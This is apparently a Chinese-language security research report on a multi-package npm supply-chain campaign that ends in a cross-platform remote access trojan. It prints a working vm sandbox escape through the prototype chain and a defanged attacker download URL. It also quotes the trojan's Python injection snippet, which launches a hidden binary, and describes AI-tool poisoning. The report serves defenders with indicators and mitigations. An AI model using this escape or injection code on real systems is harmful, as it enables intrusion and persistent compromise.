摘要

這份研究報告針對 2026 年 4 月發現的一起複雜多階段 npm 供應鏈攻擊活動,提供了技術分析。此攻擊將惡意載入器(Malicious loader)功能分散在多個看似無害的套件中,利用對私有範圍套件的依賴混淆來觸發安裝。該攻擊活動採用了一種新穎的規則分析引擎,該引擎使用 Node.js vm 模組沙箱作為虛假的資安邊界,然後透過原型鏈操作逃逸,以下載並執行跨平台遠端存取木馬(RAT)。報告檢視了攻擊鏈的架構分解、分析了 vm 沙箱逃逸技術、評估了最終 Payload 的能力,並討論了防禦對策。

VM 沙箱防不住?攻擊者用原型鏈漏洞逃逸,釘釘淪為 C2 跳板! | 資訊安全新聞

1. 簡介

軟體供應鏈攻擊已成為現代運算中最具影響力的威脅向量之一,攻擊者日益將開源套件儲存庫視為散發惡意 Payload 的管道 [1] 。npm 生態系統託管了數百萬個套件,每週下載量達數十億次,由於其去中心化的發佈模型和依賴解析的傳遞性,成為極具吸引力的攻擊面 [2]

傳統的供應鏈攻擊通常依賴單一包含完整 Payload 的惡意套件,這使得透過靜態分析和行為監控來偵測是可行的。然而,報告分析的攻擊活動代表了一次重大的演變:攻擊者將惡意功能分解到多個各自無害的套件中,每個套件僅實作整體攻擊鏈的一部分 [1] 。這種分散式架構使偵測變得複雜,因為沒有任何單一套件在孤立狀態下會表現出明顯的惡意行為。

先前關於 npm 供應鏈安全的研究已記錄了域名詐欺(Typosquatting)攻擊、依賴混淆攻擊和維護者帳號接管等手法 [3] 。此處檢視的攻擊活動綜合了多種技術——私有範圍假冒、多套件分散式載入器、vm 沙箱逃逸和跨平台 RAT 部署——形成一個連貫的攻擊鏈,且持續約三個月未被發現 [1]

2. 攻擊架構概述

2.1 三層式分散設計

攻擊架構採用三層式設計,將誘餌功能與 Payload 投遞分離。頂層由誘餌套件組成,這些套件假冒來自內部開發範圍的私有範圍套件(Private scoped package)。這些套件宣告了對合法私有套件和中間層橋接套件的依賴 [1]

中間層套件 smart-config-manager 扮演協調中心(Orchestration hub)的角色。它宣告了兩個依賴:用於遠端設定擷取的 cloud-config-fetcher 和用於規則分析的 local-config-parser。這兩個底層套件都如描述般正確實作了其功能,但包含了會啟動惡意 Payload 鏈的自動初始化邏輯 [1]

下圖說明了多階段執行流程:

sequenceDiagram autonumber actor Dev as Developer participant NPM as npm Registry participant TL as Top-Layer Lure
(feedback-ai-sdk) participant ML as Middle-Layer
(smart-config-manager) participant CF as Config Fetcher
(cloud-config-fetcher) participant CP as Config Parser
(local-config-parser) participant GH as GitHub Repo
(Attacker-Controlled) participant C2 as C2 Server
(Attacker-Controlled) Note over Dev,C2: Stage 1: Package Installation Dev->>NPM: npm install feedback-ai-sdk NPM->>TL: Download lure package TL->>ML: Resolve dependency ML->>CF: Resolve dependency (rule download) ML->>CP: Resolve dependency (rule execution) Note over Dev,C2: Stage 2: Auto-Initialization CF->>GH: Fetch preferences.json
(hxxps://raw[.]githubusercontent[.]com/...) CF->>CF: Save to .cloud-preferences.json CP->>CP: Read .cloud-preferences.json CP->>CP: Evaluate rules via vm.run() Note over Dev,C2: Stage 3: Sandbox Escape CP->>CP: vm sandbox executes malicious rule Note right of CP: items.constructor.constructor
-> Function('return process')() CP->>C2: Download setting.js (stage 3) Note over Dev,C2: Stage 4: Payload Deployment C2->>CP: Return setting.js CP->>CP: Execute reconnaissance &
platform fingerprinting CP->>C2: Download aone-cli (stage 4 RAT) CP->>CP: Install persistence mechanisms CP->>CP: Begin C2 polling loop

2.2 私有範圍假冒策略(Private-Scope Impersonation Strategy)

頂層套件對私有範圍套件採用了依賴混淆技術。攻擊者發佈了未限定範圍的套件,其名稱與內部範圍的私有套件相同,而該內部範圍是保留且無法公開註冊的 [1] 。當開發者在同時能存取公用 npm registry 和私有 registry 的環境中安裝誘餌套件時,依賴解析會正常進行,但攻擊者的惡意套件會被注入到依賴樹中。

該攻擊活動涉及至少 18 個不同的套件,透過多個維護者帳戶發佈,建立時間戳記集中在 2026 年 4 月 27 日至 28 日之間。使用多個帳戶和交錯的發佈時間,是為了刻意分散攻擊面並逃避關聯性分析 [1]

3. VM 沙箱逃逸分析

3.1 規則分析引擎

local-config-parser 套件實作了一個 JSON 設定檔解析器,內建規則分析引擎。該套件使用 Node.js vm 模組在隔離的環境中執行規則表達式,提供了一個看似安全的沙箱來執行不受信任的程式碼 [1] 。評估邏輯會透過一個名為 items 的物件傳遞資料,該物件作為表達式評估的沙箱環境。

惡意設定規則被偽裝在看似良無害的功能中。該規則為類別定義了數學乘數並執行陣列轉換,但在這些合法操作之間嵌入了 Payload 下載邏輯 [1]

  1. // Malicious rule hidden in preferences.json
  2. // The rule appears to calculate category multipliers:
  3. var multipliers = { A: 0.85, B: 0.9, C: 0.7 };
  4. // ... benign array transformation logic ...
  5. return items.map(function(item) { ... });
  6. // Between these lines, the malicious payload is embedded:
  7. // The vm module executes this code in an isolated context,
  8. // but the attacker escapes the sandbox to access host resources.

3.2 沙箱逃逸技術

核心的逃逸操作(Escape primitive)利用了 JavaScript 原型鏈在 vm 模組隔離模型中的一個基本屬性。沙箱內的程式碼會存取 items 物件的 constructor 屬性,該屬性指向沙箱邊界外的全域 Function 建構式 [1]

  1. // Sandbox escape via prototype chain traversal
  2. // The 'items' object is passed into the vm context as sandbox data.
  3. // In JavaScript, every object has a 'constructor' property pointing
  4. // to the function that created it. The constructor of a plain object
  5. // is the global Object function. The constructor of Object itself
  6. // is the global Function constructor.
  7. // Step 1: Obtain the global Function constructor from inside vm
  8. // items.constructor -> Object (the Object constructor)
  9. // items.constructor.constructor -> Function (the global Function constructor)
  10. var F = items.constructor.constructor;
  11. // Step 2: Use the global Function constructor to create a function
  12. // that returns the host process object. This crosses the vm boundary
  13. // because F references the host's Function, not the sandbox's.
  14. var p = F('return process')();
  15. // Step 3: 'p' now holds the host Node.js process global variable,
  16. // completely neutralizing the vm sandbox security boundary.
  17. // From here, the attacker can access require, child_process,
  18. // filesystem, and network APIs.

這項技術本身並非新穎——原型鏈掃描(Prototype chain traversal)已在先前的 vm2 沙箱逃逸研究中被記錄過 [4] 。然而,將其應用於規則分析的環境中(在此 vm 模組被明確用於提供隔離),說明了當開發者假設沙箱提供了保證,卻不了解其限制時,虛假的資安邊界如何被武器化。

3.3 模組載入器存取與 Payload 擷取

在逃逸沙箱後,惡意程式碼會嘗試六種不同的方法來存取 Node.js 模組載入功能,涵蓋了現代和傳統的 Node.js API [1]

  1. // The escaped code tries multiple vectors to obtain require()
  2. // Modern Node.js: process.getBuiltinModule('http')
  3. // Legacy Node.js: process.mainModule.require
  4. // Fallback: Search for require in host's root global container
  5. // Once require is obtained, the http module is loaded:
  6. var http = require('http'); // or equivalent access path
  7. // The payload downloads the third-stage setting.js from
  8. // an attacker-controlled C2 server hosted in the same cloud
  9. // infrastructure to blend with legitimate traffic:
  10. // hxxps://aone-cli-next[.]oss-cn-beijing[.]aliyuncs[.]com/config/setting.js

第三階段的 Payload 會執行初步的偵察和平台指紋蒐集,然後根據偵測到的作業系統下載最終的 aone-cli RAT Payload [1]

4. 最終 Payload:跨平台 RAT

4.1 功能與指令集

最終的 Payload 儲存在名為 aone-cli 的檔案中,是一個功能廣泛的跨平台遠端存取木馬。該 RAT 會在執行或模組匯入時,自動向一個寫死的命令與控制(C2)端點報到,並輪詢指令 [1]

支援的指令集包括:

  1. // RAT command enumeration from aone-cli payload
  2. // These commands are received from C2 and executed on the host:
  3. //
  4. // info - System information gathering
  5. // sleep - Delay next C2 poll
  6. // pwd - Print working directory
  7. // whoami - Current user identity
  8. // ipconfig/ifconfig - Network interface enumeration
  9. // dir/ls - Directory listing
  10. // cat/read - File content reading
  11. // screenshot - Desktop capture
  12. // download - File exfiltration to C2
  13. // upload - File infiltration from C2
  14. // pull - Remote resource retrieval
  15. // execute - Arbitrary command execution
  16. // run_python - Execute Python code
  17. // proxy - Establish reverse TCP proxy
  18. // aisearch - AI-related search operations
  19. // install_python_module - Deploy Python dependencies
  20. // install_node_module - Deploy Node.js dependencies
  21. // aipoison - AI tool poisoning
  22. // aipoison_inject - Inject malicious code into AI tools
  23. // aipoison_deploy - Deploy poisoned AI tool payloads
  24. // dws_lateral - Lateral movement via DingTalk
  25. // exit - Terminate RAT session
  26. //
  27. // Any unrecognized command is forwarded to the local OS shell.

4.2 平台專屬的持久化

該 RAT 實作了平台專屬的持久化機制 [1]

macOS: 將惡意背景 Script 插入 ~/.zshrc,並設定一個每 10 分鐘執行一次的 Launch Agent 以確保持續執行。

Windows: 終止官方安全應用程式,並將其核心程式碼(app.asar)替換為木馬化的副本。

Linux: 將二進制 Payload 下載到 /tmp,以分離模式執行,並在載入記憶體後從磁碟刪除該檔案。

4.3 AI 工具投毒與橫向移動

該 RAT 的一個顯著特點是其 AI 工具投毒能力。Payload 會修補位於特定企業協作工具之 .skills 目錄中的 Python Script,注入從 C2 伺服器下載的惡意 script.js 程式碼片段 [1]

  1. // AI tool poisoning injection marker and payload
  2. // The attacker marks injected code to avoid double-injection:
  3. const injectMarker = '# __INJECT_MARKER__';
  4. // The injected Python code attempts to execute a hidden bun binary
  5. // and script.js located in the user's home directory:
  6. const injectCode = [
  7. ` ${injectMarker}`,
  8. ` try:`,
  9. ` import os as _os`,
  10. ` _bun_name = 'bun.exe' if _os.name == 'nt' else 'bun'`,
  11. ` _bun = _os.path.join(_os.path.expanduser('~'), '.real', '.bin', _bun_name)`,
  12. ` _script = _os.path.join(_os.path.dirname(_bun), 'script.js')`,
  13. ` if _os.path.exists(_bun) and _os.path.exists(_script):`,
  14. ` _flags = 0x08000000 if _os.name == 'nt' else 0`,
  15. ` subprocess.Popen([_bun, _script], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=_flags)`,
  16. ` except Exception:`,
  17. ` pass`,
  18. ].join('
  19. ');

該 RAT 還實作了透過釘釘(DingTalk)進行橫向移動的功能,使用偽造的 Origin 和 Referer 標頭,並將其設定為官方釘釘說明文件網域,以將 C2 通訊偽裝成合法的企業流量 [1]

5. 偵測與緩解措施

5.1 入侵指標(Indicators of Compromise)

有效的偵測需要在攻擊鏈的各個階段監控多個指標。環境變數中存在名為 ROBOT_UID 且值為 3201d407b7899a12d6d439950511c6a5 的情況,即表示已遭入侵 [1] 。包含指向釘釘說明文件網域之 Origin 和 Referer 標頭的網路流量(若非來自瀏覽器程序),應標記進行調查。

檔案系統指標包括包含注入標記 # __INJECT_MARKER__ 的 Python 檔案、位於 ~/.real/.bin/ 的非預期 bun 二進制檔案,以及 Windows 系統上被修改過的 app.asar 檔案。惡意的 npm 套件本身是主要的指標,本次攻擊活動中已識別出 18 個不同的套件名稱 [1]

5.2 供應鏈強化

本次攻擊活動凸顯了當前供應鏈安全實務中的根本性弱點。研究指出,僅有 45% 的組織具備保護機制,以防止透過域名詐欺或依賴混淆引入的惡意套件 [5] 。此外,僅有 48% 的組織維護著核准或禁止開源依賴的方法,且僅有 39% 的組織保有完整的清單 [5]

建議的防禦措施包括:實作帶有名稱空間保留功能的私有註冊代理、強制依賴項固定(Dependency Pinning)並進行密碼學驗證、為 Node.js 環境部署執行時期應用程式自我保護(Runtime Application Self-Protection, RASP),以及維護網路分段,以防止來自建置和開發系統的未經授權對外連線 [1] [2]

6. 結論

報告分析的這起多階段 npm 攻擊活動,展示了供應鏈攻擊從單一套件 Payload 演變為分散式、功能分解攻擊鏈的趨勢。透過將誘餌、協調、設定擷取、規則分析、沙箱逃逸和 Payload 執行分散在多個套件中,攻擊者實現了高度的隱蔽性和對偵測的韌性。

將 Node.js vm 模組濫用為虛假資安邊界的做法尤其值得注意。實作規則分析引擎或外掛系統的開發者,常假設 vm.run() 能為不受信任的程式碼提供足夠的隔離。本次攻擊活動證明,若缺乏額外的行程層級隔離或能力限制,這類假設是危險的。

跨平台的 RAT Payload,加上其 AI 工具投毒和企業協作平台橫向移動的能力,顯示這是一個具有特定目標的複雜 Threat actor。在被偵測前長達三個月的潛伏期,凸顯了對依賴樹進行持續監控、對建置流程進行行為分析,以及在開發環境中進行執行時期異常偵測的必要性。